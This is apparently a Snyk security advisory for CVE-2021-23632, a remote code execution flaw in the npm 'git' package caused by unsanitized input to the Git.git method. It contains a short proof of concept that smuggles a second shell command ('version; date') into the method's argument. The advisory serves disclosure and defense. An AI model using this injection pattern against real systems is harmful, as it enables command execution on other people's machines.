Remote Code Execution (RCE) Affecting git package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.96% (84th percentile)

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  • Snyk IDSNYK-JS-GIT-1568518
  • published18 Oct 2021
  • disclosed23 Aug 2021
  • creditPaul-Emmanuel Raoul of SkypLabs

Introduced: 23 Aug 2021

CVE-2021-23632  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for git.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands.

Steps to Reproduce

  1. Create a file named exploit.js with the following content:

    var Git = require("git").Git;
    
    

    var repo = new Git("repo-test");

    var user_input = "version; date";

    repo.git(user_input, function(err, result) { console.log(result); })

  2. In the same directory as exploit.js, run npm install git.

  3. Run exploit.js: node exploit.js.

You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

CVSS Scores

version 3.1